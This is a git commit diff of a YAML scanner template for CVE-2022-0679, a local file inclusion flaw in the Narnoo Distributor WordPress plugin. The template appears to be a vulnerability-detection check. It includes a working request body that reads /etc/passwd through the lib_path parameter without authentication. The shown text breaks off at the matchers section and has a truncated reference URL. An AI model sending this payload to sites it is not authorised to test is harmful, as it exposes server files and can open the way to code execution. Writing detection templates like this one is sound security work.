Create CVE-2022-0679.yaml

patch-1
Dhiyaneshwaran 2022-10-04 01:42:16 +05:30 committed by GitHub
parent 640baf835b
commit 6b63af60fe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 4 deletions

View File

@ -4,8 +4,10 @@ info:
name: Narnoo Distributor <= 2.5.1 - Unauthenticated LFI to Arbitrary File Read / RCE
author: Veshraj
severity: critical
description: The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it's configuration.
reference: https://wpscan.com/vulnerability/0ea79eb1-6561-4c21-a20b-a1870863b0a8
description: |
The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it's configuration.
reference:
- https://www.
tags: wp,rce,unauth,lfi,wordpress
requests:
@ -18,8 +20,7 @@ requests:
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 396
Connection: close
action=narnoo_distributor_lib_request&lib_path=/etc/passwd
matchers: